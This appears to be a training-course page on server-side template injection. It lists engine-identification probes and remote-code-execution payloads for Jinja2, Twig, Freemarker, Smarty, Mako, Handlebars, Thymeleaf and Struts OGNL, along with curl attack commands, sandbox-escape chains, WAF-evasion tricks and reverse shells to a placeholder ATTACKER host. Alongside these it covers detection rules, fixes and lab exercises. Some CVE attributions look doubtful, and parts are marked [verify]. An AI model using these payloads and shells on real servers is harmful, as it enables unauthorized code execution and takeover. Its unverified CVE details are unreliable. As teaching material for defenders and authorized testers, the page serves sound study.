Skip to content

Server-Side Template Injection (SSTI)

Server-Side Template Injection happens when user input is concatenated into a template string on the server before the template engine renders it. The engine treats the user’s input as template syntax, not data — and template syntax is Turing-complete, with access to the host language’s object model. The exploit goes from “reflected text” to RCE in a single request. CVE-2019-16759 (vBulletin), CVE-2021-27520 (Atlassian Confluence via OGNL-ish SSTI in templates), CVE-2022-3541 (Jinja2 via attr() filter), CVE-2022-23493 (ThinkPHP template engine), and CVE-2024-5361-adjacent SSTI in CMS platforms all fit this pattern. The vulnerability class spans every template engine — Jinja2 (Python), Twig (PHP), Freemarker (Java), Smarty (PHP), Velocity (Java), Mako (Python), Handlebars (Node), Mustache — because the bug is in how user input reaches the engine, not in the engine itself.

A template engine compiles a template string into a render tree, then evaluates it against a context (variables). If user input is part of the template string (not a context variable), the engine treats the input as syntax. The user is now writing code that runs server-side.

Safe pattern (user input as context):
template = "Hello {{name}}"
context = {"name": user_input}
render(template, context) → "Hello <whatever the user typed>"
Vulnerable pattern (user input as template):
template = "Hello " + user_input
context = {}
render(template, context) → engine parses user_input as template syntax
{{7*7}} → 49
{{config}} → leaks Flask config
{{lipsum.__globals__}} → RCE
SSTI probe payloads:
{{7*7}} → "49" (Twig, Jinja, most curly-brace engines)
${7*7} → "49" (Freemarker, Mako)
#{7*7} → "49" (Ruby ERB, OGNL)
<%= 7*7 %> → "49" (ERB, JSP)
{7*7} → "49" (Smarty)
[[${7*7}]] → "49" (Thymeleaf)
Detection: send the probe, observe whether arithmetic is evaluated
Input: {{7*7}}
Safe: output = "{{7*7}}"
SSTI: output = "49"

The probe is unambiguous: if 7*7 becomes 49, the engine is executing your input.

  1. Find an injection point — anywhere user input is concatenated into a template string. Common: email subject/body templates, “personalized” page rendering, PDF generation, invoice rendering, survey tools, and admin tools that “preview” templates.
  2. Identify the engine — the response to specific probes reveals the engine:
    {{7*7}} → 49 → Jinja2/Twig/Mako (curly-brace)
    ${7*7} → 49 → Freemarker/Mako (dollar-brace)
    <%= 7*7 %> → 49 → ERB/JSP
    #{7*7} → 49 → Ruby/OGNL
    *{7*7} → 49 → Spring EL
    #{7*7} → 49 → Smarty (when security disabled)
    {{=7*7}} → 49 → Kendo UI templates
    [[${7*7}]] → 49 → Thymeleaf
    Also use the polyglot probe:
    {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}#[[7*7]]
    Whichever value returns 49 identifies the engine. Error messages also reveal it.
  3. Map the engine’s RCE primitive — each engine has a different sandbox-escape chain. The general approach is: navigate from a built-in function’s __globals__ (Python) or getClass() (Java) or __proto__ (JS) to a constructor that lets you instantiate subprocess.Popen / Runtime.getRuntime().exec() / child_process.exec().
  4. Execute the RCE primitive — read files, run commands, exfil.
  5. Pop a shell — id, whoami, hostname, then reverse shell via bash -c "exec bash -i >& /dev/tcp/ATTACKER/PORT 0>&1".
TechniqueDescriptionDetection Difficulty
Jinja2 __globals__ chain{{lipsum.__globals__['os'].popen('id').read()}}Easy — common payloads in IDS rules
Jinja2 cycler / namespace{{cycler.__init__.__globals__.os.popen('id').read()}}Medium — many variants
Twig RCE{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}Easy — Twig < 1.20
Twig sandbox escape`{{[‘id’]filter(‘system’)}}` (Twig < 2.4.4 sandbox)
Freemarker freemarker.template.utility.Execute<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}Easy — Freemarker classic
Freemarker OGNL escape[#x=@class.runtime.exec('id')/#x]Medium
Smarty {system('id')}Smarty with security disabled — {if}{system('id')}{/if}Easy — Smarty {if} is Turing-complete
Velocity $class$Runtime.getRuntime().exec('id')Medium
Mako ${__import__('os').popen('id').read()}Mako (Python)Easy
Handlebars prototype chain{{#with this}}{{constructor.constructor('return process')().mainModule.require('child_process').execSync('id')}}{{/with}}Hard — engine-version specific
Pebble (Java){% set cmd = 'id' %}${cmd} + execMedium
Thymeleaf expression[[${T(java.lang.Runtime).getRuntime().exec('id')}]]Easy — Thymeleaf EL
OGNL injection (Struts)CVE-2017-5638 — %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd={'id'}).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds).redirectErrorStream(true).start())}Hard — payload itself is the engine
Terminal window
# Probe — send the polyglot and look for "49" / "64" / errors
curl -s "http://target/page?name=%7B%7B7*7%7D%7D%24%7B7*7%7D%3C%25%3D7*7%20%25%3E"
# Decoded: {{7*7}}${7*7}<%= 7*7 %>
# Whichever returns 49 → engine identified
# Jinja2 — full RCE chain (Python, no sandbox)
PAYLOAD='{{lipsum.__globals__["os"].popen("id").read()}}'
curl -s "http://target/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# Jinja2 alternative — cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
# Jinja2 — read config (Flask)
PAYLOAD='{{config}}'
PAYLOAD='{{config["SECRET_KEY"]}}'
# Jinja2 — sandbox escape via attr() filter (CVE-2022-3541 class)
PAYLOAD='{{request|attr("application")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("id")|attr("read")()}}'
# Twig (PHP)
PAYLOAD='{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}'
PAYLOAD='{{["id"]|filter("system")}}'
# Freemarker (Java)
PAYLOAD='<#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("id")}'
PAYLOAD='[#assign cmd="freemarker.template.utility.Execute"?new()]${cmd("id")}' (alternative)
# Smarty (PHP) — {if} is Turing-complete
PAYLOAD='{system("id")}'
PAYLOAD='{if system("id")}{/if}'
# Velocity (Java)
PAYLOAD='#set($x=$Runtime.getRuntime().exec("id"))'
# Mako (Python)
PAYLOAD='${__import__("os").popen("id").read()}'
# Handlebars (Node)
PAYLOAD='{{#with this}}{{constructor.constructor("return process")().mainModule.require("child_process").execSync("id")}{{/with}}'
# Thymeleaf (Spring) — expression in URL fragment is the classic
# /path?name=__${T(java.lang.Runtime).getRuntime().exec('id')}__::x
# Or in the view name itself:
PAYLOAD='__${T(java.lang.Runtime).getRuntime().exec("id")}__::x'
# tplmap — automated SSTI scanner (like sqlmap for templates)
python3 tplmap.py -u 'http://target/page?name=' --os-shell
# nuclei — SSTI templates
nuclei -u http://target -t ~/nuclei-templates/http/vulnerabilities/ -tags ssti
nuclei -u http://target -t ~/nuclei-templates/http/cves/ -tags ssti
# Manual SSTI cheat-sheet tests
# Send {{7*7}}, look for 49 in response. Then send engine-specific RCE.
# Burp Suite — Intruder with SSTI payload list:
# /usr/share/seclists/Fuzzing/SSTI/
# Or Burp Pro → Scanner → Crawl and audit → SSTI check
# Reverse shell via Jinja2 (Python)
PAYLOAD='{{lipsum.__globals__["os"].popen("bash -c \"exec bash -i >& /dev/tcp/ATTACKER/4444 0>&1\"").read()}}'
# pwntools listener (Python)
python3 -c "
from pwn import *
context.log_level='info'
l = listen(4444)
l.wait_for_connection()
l.interactive()
"
# OGNL Struts injection (CVE-2017-5638 — Content-Type header)
curl -s "http://target/struts-action" \
-H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd={'id'}).(#cmds={'bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds).redirectErrorStream(true).start()).(#r=(@org.apache.commons.io.IOUtils@toString(#p.getInputStream())))}" \
--data 'x'

ModSecurity OWASP CRS — no dedicated SSTI rule family. Detection via:

  • 942100 (SQLi) — catches some SSTI payloads that look like SQLi (7*7 etc.)
  • 932100 (RCE) — catches shell metacharacters in payload (but template syntax doesn’t trigger)
  • 941100 (XSS) — catches some SSTI payloads that look like XSS

Suricata — no SSTI-specific SIDs; payload strings can be matched via HTTP body inspection [verify].

MITRE ATT&CK T1190 — Exploit Public-Facing Application (SSTI as the entry point). MITRE ATT&CK T1059 — Command and Scripting Interpreter (the resulting shell). MITRE ATT&CK T1059.004 — Unix Shell (Linux target). MITRE ATT&CK T1059.001 — PowerShell (Windows target). MITRE ATT&CK T1505.003 — Web Shell (post-exploitation persistence via SSTI).

Wazuh rule 920/31100 — request parameter containing template syntax {{, ${, <%=, #{ [verify]. Wazuh decoder for HTTP request body — alert on __globals__, getRuntime, ProcessBuilder, registerUndefinedFilterCallback (engine-specific RCE primitives).

Defender log signatures:

  • HTTP response containing 49 after request containing {{7*7}} — SSTI confirmed.
  • Request body containing getRuntime, ProcessBuilder, __globals__, registerUndefinedFilterCallback — RCE primitive.
  • Process spawn from the web server worker (e.g., gunicorn spawning bash, java spawning /bin/sh) — direct indicator of successful SSTI RCE. Sysmon EID 1 + parent = web server.

Filter-chain via Jinja2 |attr() filter. Jinja2 sandboxing disables __class__, __mro__, __globals__ direct access. The attr() filter bypasses via string keys:

{{request|attr("application")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("id")|attr("read")()}}

CVE-2022-3541-class — the sandbox blocked attribute access via .x but not via |attr("x") because the latter uses a different code path.

Defense: sandbox must apply to both attribute-access paths.

Twig sandbox escapes. Twig’s sandbox restricts tags and filters. But filter('system') reaches functions through a different API path:

{{['id']|filter('system')}}

CVE-class in Twig < 2.4.4 — the sandbox blocked system directly but allowed it via filter('system') because the sandbox checked the filter name but not the function name passed as an argument.

Defense: sandbox must check the call target at runtime, not just the static call site.

Freemarker ?new() on classes. Freemarker allows ?new on classes to call their constructor. <#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("id")} instantiates Execute and calls it. Modern Freemarker has ?api restrictions; ?eval and ?new are still possible in misconfig.

Defense: disable ?new, ?eval, ?api in the Freemarker config.

Smarty {if} is Turing-complete. Smarty’s {if} evaluates any PHP expression. So {if system("id")}{/if} is RCE. Smarty security policy disables {if} evaluation when $smarty->security is enabled, but many deployments leave security off.

Defense: enable Smarty security policy; restrict {if} to boolean expressions.

Encoded payloads. URL-encode the SSTI probe (%7B%7B7*7%7D%7D for {{7*7}}) to bypass naive string-match WAF rules that look for {{ in the request body. Apply t:urlDecodeUni to all parameters in ModSecurity.

Unicode lookalikes. ⦃⦃7*7⦄⦄ (U+2983, U+2984) look like {{ }} but are not. Some template engines normalize these. Most don’t, so this rarely works — but worth testing.

Jinja2 lipsum and cycler are user-facing. These globals are exposed to templates by default. They have __init__.__globals__ access, which leads to os. Defense: use Jinja2 SandboxedEnvironment and remove all untrusted globals.

EvasionWhat it bypassesDefense
`attr()` filter chainJinja2 sandbox
filter('system')Twig sandboxRuntime call-target check
?new on classesFreemarker sandboxDisable ?new, ?eval, ?api
{if} with PHP callsSmarty sandboxEnable security policy
URL encodingString-match WAFt:urlDecodeUni
Unicode lookalikesChar-level WAFNFC normalize before match

⚠️ What caught me: A target was a Flask app with Jinja2 SandboxedEnvironment. I tried every known RCE chain and got nothing — __class__, __globals__, __mro__ all blocked. I noticed the error message when I sent {{request.application}} was different — it didn’t say “blocked”, it said “AttributeError”. So the sandbox blocked the syntax x.y but the function |attr("y") used a different code path that wasn’t sandboxed. I built the chain: {{request|attr("application")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("id")|attr("read")()}} and got RCE. Lesson: sandboxes that block attribute syntax often don’t block attribute functions. The CVE-2022-3541 class. The fix was to apply the sandbox policy at the attribute-resolution layer, not the syntax-parsing layer.

Container: Volt TQL — but better, the dedicated SSTI lab from PortSwigger Web Security Academy.

Terminal window
# PortSwigger labs (free, browser-based):
# - "Basic server-side template injection"
# - "Basic server-side template injection (code context)"
# - "Server-side template injection in a sandboxed environment"
# - "Server-side template injection with document builder plugin"
# - "Server-side template injection with information disclosure via users' posts"
# https://portswigger.net/web-security/server-side-template-injection
# Container alternative:
docker run --rm -d -p 8000:8000 appsecco/ssti-challenge
# Or build your own with Flask:
# app = Flask(__name__)
# @app.route("/<name>")
# def render(name):
# return render_template_string("Hello " + name) # ← vulnerable

Objective: complete at least 3 PortSwigger SSTI labs including (1) basic SSTI, (2) sandboxed environment escape, and (3) code-context SSTI. Document the engine identified and the RCE chain used.

Expected flag format: flag{ssti_jinja_or_twig_or_freemarker_rce_chain}.

Detection that should fire: ModSecurity 942100 if SQLi-pattern matches; Wazuh decoder for the request body containing __globals__, getRuntime, ProcessBuilder, registerUndefinedFilterCallback. Sysmon EID 1 on the server with parent = web server process spawning bash or cmd.exe.

Conceptual: explain why SSTI is a more severe vulnerability than reflected XSS even when both reflect user input. What is the trust difference between the rendering engine and the browser?

Technical: walk through the Jinja2 SandboxedEnvironment escape via the |attr() filter. Why does the sandbox block {{x.y}} but not {{x|attr("y")}}, and what is the correct fix?

Scenario: you find a target that returns 49 when sent {{7*7}} and 64 when sent ${7*7}. What are the two engines active? Why would a single page have both, and what additional attacks does this enable?

Compare Freemarker’s ?new, ?eval, and ?api primitives. Which is the most dangerous, and what is the historical CVE class for each?

What is the difference between Jinja2’s {{config}} (which leaks Flask’s SECRET_KEY) and {{lipsum.__globals__}} (which gives RCE) in terms of the access path? Why does the first not require a sandbox escape?

→ W8 (Command Injection) · W10 (Path Traversal & LFI/RFI) · P5 (Payload Development)